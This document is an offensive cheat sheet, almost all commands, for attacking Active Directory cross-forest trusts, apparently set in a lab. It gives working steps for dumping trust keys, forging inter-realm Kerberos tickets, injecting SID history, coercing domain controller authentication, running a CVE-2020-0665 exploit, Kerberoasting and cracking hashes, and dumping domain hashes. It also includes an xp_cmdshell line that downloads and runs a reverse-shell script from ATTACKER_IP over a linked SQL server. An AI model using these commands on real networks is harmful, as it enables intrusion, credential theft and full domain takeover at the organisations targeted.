Cross Forest Trusts

# List all domain trusts
Get-DomainTrust

# List only cross-forest trusts
Get-DomainTrust | Where-Object { $_.TrustType -eq 'Forest' }

# Get full forest trust map (follows all trust chains)
Get-DomainTrustMapping

# Enumerate trusts in a specific domain
Get-DomainTrust -Domain target.local

# Get forest-level trust info
Get-ForestTrust

# Get all domain controllers in trusted forest
Get-DomainController -Domain target.local

# Get all users in the trusted domain
Get-DomainUser -Domain target.local

# Get all groups in the trusted domain
Get-DomainGroup -Domain target.local

# Get all computers in the trusted domain
Get-DomainComputer -Domain target.local

# All trusts
Get-ADTrust -Filter *

# Cross-forest only
Get-ADTrust -Filter 'IntraForest -ne $true'

# Check trust attributes (SID filtering, TGT delegation)
Get-ADTrust -Filter * -Properties TrustAttributes | Select Name, TrustDirection, TrustAttributes

# TrustAttributes key values:
# 0x4   = QUARANTINED_DOMAIN (SID Filtering ON)
# 0x8   = FOREST_TRANSITIVE (Forest Trust)
# 0x200 = CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION (⚠️ dangerous)

# Linux — collect all data
bloodhound-python -u attacker -p 'Pass123!' -d lab.local \
  -dc dc01.lab.local -c All --zip

# Or from Windows with SharpHound
.\SharpHound.exe -c All --zipfilename output.zip

:: List all trusted domains
netdom query trust

:: Verify trust from DC side
nltest /domain_trusts /all_trusts

:: Check trust with specific domain
nltest /sc_verify:target.local

# The TargetName is the OTHER forest, Direction tells you what you can reach
Get-DomainTrust | Select SourceName, TargetName, TrustDirection, TrustAttributes

# TrustDirection values:
# Inbound   → They trust us. We can access THEIR resources.
# Outbound  → We trust them. They can access OUR resources.
# Bidirectional → Both.

# Get all groups accessible in the trusted forest
Get-DomainGroup -Domain target.local | Select name

# Check members of a high-value group
Get-DomainGroupMember -Identity "Domain Admins" -Domain target.local -Recurse

# Find users from our forest who are in target forest groups
Get-DomainForeignGroupMember -Domain target.local

# All users in target forest
Get-DomainUser -Domain target.local | Select samaccountname, description, memberof

# Find DA accounts in target
Get-DomainGroupMember -Identity "Domain Admins" -Domain target.local

# Find accounts with SPN (Kerberoastable) in target forest
Get-DomainUser -SPN -Domain target.local | Select SamAccountName, ServicePrincipalName

:: Mimikatz — dump all trust keys
mimikatz.exe "lsadump::trust /patch" exit

:: SafetyKatz (safer, less AV detection)
SafetyKatz.exe "lsadump::trust /patch"

:: Look for output like:
:: [ In ] lab.local -> target.local
::   * aes256_hmac: <AES_KEY>
::   * rc4_hmac_nt : <RC4_KEY> ← use this as /rc4 in ticket forging

# Linux alternative — dump trust secrets from DC via DCSync
secretsdump.py lab.local/da_user:Pass123!@<DC_IP> -just-dc -just-dc-user 'TARGET$'

# The NTLM hash of the trust account IS the inter-realm trust key

:: With the RC4 trust key, forge a ticket to move into the target forest
:: Replace SID with a high-priv group SID from target forest (RID > 1000 to bypass filter)

:: Get target domain SID first
Get-DomainSID -Domain target.local
:: Output: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX

:: Forge the ticket with Rubeus
Rubeus.exe silver /user:Administrator /ldap ^
  /service:krbtgt/TARGET.LOCAL ^
  /rc4:<trust_key_NTLM> ^
  /sids:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-<RID> ^
  /nowrap

# Find computers in your forest with unconstrained delegation
Get-DomainComputer -Unconstrained | Select name, dnshostname

# Confirm it's not a DC (DCs always have unconstrained delegation — that's normal)
Get-DomainComputer -Unconstrained | Where-Object { $_.name -notlike "*DC*" }

# Force authentication from target DC using PrinterBug (SpoolSample)
# This makes the DC authenticate back to our unconstrained server
SpoolSample.exe <TARGET_DC> <OUR_UNCONSTRAINED_SERVER>

# Or use PetitPotam
PetitPotam.py -u '' -p '' <OUR_UNCONSTRAINED_SERVER> <TARGET_DC>

# Or Coercer (multi-protocol coercion)
python3 Coercer.py coerce -l <OUR_UNCONSTRAINED_SERVER> -t <TARGET_DC> \
  -u attacker -p 'Pass123!' -d lab.local

:: On the unconstrained delegation server, run as DA:
Rubeus.exe monitor /interval:5 /nowrap
:: Wait for the TARGET$ DC TGT to appear in the output

:: Or use Mimikatz
mimikatz.exe "sekurlsa::tickets /export" exit
:: Look for tickets from target.local

:: Import the captured TGT
Rubeus.exe ptt /ticket:<base64_ticket>

# After passing the ticket, run DCSync against target forest
secretsdump.py -k -no-pass target.local/dc02$@dc02.target.local -just-dc

# Or with the exported .kirbi file
Rubeus.exe ptt /ticket:dc02.target.local.kirbi
mimikatz.exe "lsadump::dcsync /domain:target.local /user:Administrator" exit

# If TrustAttributes does NOT include FILTER_SIDS (0x4), SID filtering is off
Get-DomainTrust -Domain target.local | Select TargetName, TrustAttributes

# Numeric check
Get-ADTrust -Filter * -Properties TrustAttributes |
  Select Name, @{n='SIDFilteringOff';e={($_.TrustAttributes -band 0x4) -eq 0}}

# Get the SID of Domain Admins in target forest
Get-DomainGroup -Identity "Domain Admins" -Domain target.local | Select ObjectSID
# Example: S-1-5-21-210670767-2521448726-163245707-512

:: Must be DA in source domain and run on the DC
mimikatz.exe "privilege::debug" "sid::patch" ^
  "sid::add /sam:attacker_user /new:S-1-5-21-210670767-2521448726-163245707-512" exit

:: Verify the injection worked
Get-ADUser attacker_user -Properties SIDHistory | Select SIDHistory

# Get a TGT as attacker_user (who now has DA SID in SIDHistory)
getTGT.py lab.local/attacker_user:Pass123! -dc-ip <SOURCE_DC_IP>
export KRB5CCNAME=attacker_user.ccache

# Access target forest resources — the SIDHistory SID grants you DA
smbclient.py -k -no-pass //dc02.target.local/C$
secretsdump.py -k -no-pass target.local/attacker_user@dc02.target.local

# Check TrustAttributes — value 0x200 = TGT delegation enabled = vulnerable
Get-ADTrust -Filter * -Properties TrustAttributes |
  Select Name, @{n='TGTDelegation';e={($_.TrustAttributes -band 0x200) -ne 0}}

# If TGTDelegation = True → potentially vulnerable to CVE-2020-0665

# CVE-2020-0665 PoC (GitHub: gunzf0x/CVE-2020-0665)
git clone https://github.com/gunzf0x/CVE-2020-0665
cd CVE-2020-0665

# The exploit requests a delegated TGT for a target account across the trust
python3 cve-2020-0665.py -u attacker -p 'Pass123!' \
  -d lab.local -dc-ip <SOURCE_DC_IP> \
  -target-domain target.local \
  -target-user Administrator

# Disable TGT delegation on the trust (PowerShell — run as DA)
netdom trust lab.local /d:target.local /enableTgtDelegation:No

# Or via AD Sites and Services → remove the EnableTGTDelegation flag
# MS Patch: KB4490435

# PowerUpSQL — discover SQL servers via SPN enumeration
Import-Module .\PowerUpSQL.ps1

# Find all SQL servers in the domain
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

# Find SQL servers in the trusted forest too
Get-SQLInstanceDomain -DomainController dc02.target.local -Username target\attacker -Password Pass123!

# Check linked servers on a specific instance
Get-SQLServerLink -Instance dc01.lab.local -Verbose

# Crawl the full link chain (follow all links recursively)
Get-SQLServerLinkCrawl -Instance dc01.lab.local -Verbose

# Execute OS command on the linked server in target forest
Get-SQLServerLinkCrawl -Instance dc01.lab.local \
  -Query "exec master..xp_cmdshell 'whoami'"

# Enable xp_cmdshell if it's off (requires sysadmin on link)
Get-SQLServerLinkCrawl -Instance dc01.lab.local \
  -Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure') AT [target-sql.target.local]"

# Then execute
Get-SQLServerLinkCrawl -Instance dc01.lab.local \
  -Query "EXECUTE('exec master..xp_cmdshell ''whoami''') AT [target-sql.target.local]"

# Host a PowerShell reverse shell on your attacker box first
# python3 -m http.server 8080

# Trigger download & exec via xp_cmdshell through the link
Get-SQLServerLinkCrawl -Instance dc01.lab.local \
  -Query "EXECUTE('exec master..xp_cmdshell ''powershell -c IEX(New-Object Net.WebClient).DownloadString(''''http://ATTACKER_IP:8080/shell.ps1'''')'') AT [target-sql.target.local]"

# Find FSP objects in the current domain
Get-ADObject -Filter {objectClass -eq "foreignSecurityPrincipal"} |
  Select DistinguishedName, objectSid

# PowerView — find foreign group members
Get-DomainForeignGroupMember -Domain target.local

# Find foreign users (from another domain/forest) in local groups
Find-ForeignUser -Verbose
Find-ForeignGroup -Verbose

# Cross-check: find what groups foreign users belong to
Get-DomainGroupMember -Identity "Administrators" -Domain target.local |
  Where-Object {$_.MemberDomain -ne "target.local"}

# Find interesting ACLs where the principal is from another forest
Find-InterestingDomainAcl -ResolveGUIDs -Domain target.local |
  Where-Object { $_.IdentityReferenceDomain -ne "target.local" }

# BloodHound — import both forest datasets and look for cross-domain edges
# Edges to look for: GenericAll, WriteDACL, DCSync from foreign principals

# If LABFOREST\bob is a member of target.local\Administrators
# And you compromised bob's credentials:

# Lateral movement to target forest DC
Enter-PSSession -ComputerName dc02.target.local \
  -Credential (Get-Credential lab.local\bob)

# Or via CrackMapExec
crackmapexec smb dc02.target.local -u lab\\bob -p 'Pass123!'

# Dump hashes on target DC
secretsdump.py lab.local/bob:Pass123!@dc02.target.local

# PAM trusts have a specific attribute: PAM_ENABLED (TrustAttributes bit 0x800)
Get-ADTrust -Filter * -Properties TrustAttributes |
  Select Name, @{n='PAMEnabled';e={($_.TrustAttributes -band 0x800) -ne 0}}

# Check if the trust is a shadow principal setup
Get-ADObject -SearchBase "CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=bastion,DC=local" \
  -Filter * -Properties *

# Shadow principals in bastion forest mirror privileged groups in prod forest
# Find the shadow group mappings
Get-ADObject -Filter {objectClass -eq "msDS-ShadowPrincipal"} -Properties *

# PowerView — check what groups a bastion user is member of in prod forest
Get-DomainGroupMember -Identity "Domain Admins" -Domain prod.local |
  Where-Object { $_.MemberDomain -eq "bastion.local" }

# If you're DA in bastion forest and PAM trust exists to prod forest:
# The bastion DA effectively inherits privileged access to prod forest

# Enumerate all prod forest resources accessible from bastion
Get-DomainTrust -Domain bastion.local
Get-DomainUser -Domain prod.local  # reachable via PAM trust

# Access prod forest DC as Shadow Principal DA
Enter-PSSession -ComputerName dc.prod.local -Credential bastion.local\shadow_admin

# Dump prod forest hashes
secretsdump.py bastion.local/shadow_admin:Pass123!@dc.prod.local -just-dc

:: On the source domain DC, run as Domain Admin
mimikatz.exe "lsadump::trust /patch" exit

:: Or dump via secretsdump
:: secretsdump.py -just-dc-user 'TARGET$' lab.local/da_user:Pass123!@<DC_IP>

:: Note these values from output:
:: [ In ] lab.local -> target.local
:: RC4:  <trust_key_RC4>    ← use as /rc4
:: AES256: <trust_key_AES>  ← use as /aes256

# Get SID of a group in the target forest (use custom group, RID > 1000)
Get-DomainGroup -Identity "TargetCustomAdmins" -Domain target.local | Select ObjectSID
# Example: S-1-5-21-210670767-2521448726-163245707-1103

# If SID filtering is fully off, you can use Enterprise Admins SID:
# S-1-5-21-<TARGET_DOMAIN_SID>-519

:: Forge using RC4 trust key
Rubeus.exe silver /user:Administrator /ldap ^
  /service:krbtgt/TARGET.LOCAL ^
  /rc4:<trust_key_RC4> ^
  /domain:LAB.LOCAL ^
  /sids:S-1-5-21-210670767-2521448726-163245707-1103 ^
  /nowrap

:: Or with AES256 key (stealthier)
Rubeus.exe silver /user:Administrator /ldap ^
  /service:krbtgt/TARGET.LOCAL ^
  /aes256:<trust_key_AES256> ^
  /domain:LAB.LOCAL ^
  /sids:S-1-5-21-210670767-2521448726-163245707-1103 ^
  /nowrap

:: Pass the forged inter-realm TGT, then request a service ticket
Rubeus.exe asktgs /service:cifs/dc02.target.local ^
  /dc:dc02.target.local ^
  /ptt ^
  /ticket:<base64_ticket_from_step3>

:: Verify ticket is in memory
Rubeus.exe klist

:: List target DC file system
dir \\dc02.target.local\C$

:: Run secretsdump across the trust
:: (from Linux with exported ticket)
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass target.local/Administrator@dc02.target.local

# PowerView
Get-DomainUser -SPN -Domain target.local |
  Select SamAccountName, ServicePrincipalName, MemberOf

# AD Module
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} \
  -Properties ServicePrincipalName \
  -Server dc02.target.local |
  Select SamAccountName, ServicePrincipalName

# Impacket — cross-forest Kerberoasting
GetUserSPNs.py lab.local/attacker:Pass123! \
  -target-domain target.local \
  -dc-ip <TARGET_DC_IP> \
  -request \
  -outputfile cross_forest.hash

# Rubeus (Windows)
Rubeus.exe kerberoast /domain:target.local /dc:dc02.target.local \
  /outfile:hash.txt /nowrap

hashcat -m 13100 cross_forest.hash /usr/share/wordlists/rockyou.txt

# With rules for better coverage
hashcat -m 13100 cross_forest.hash /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule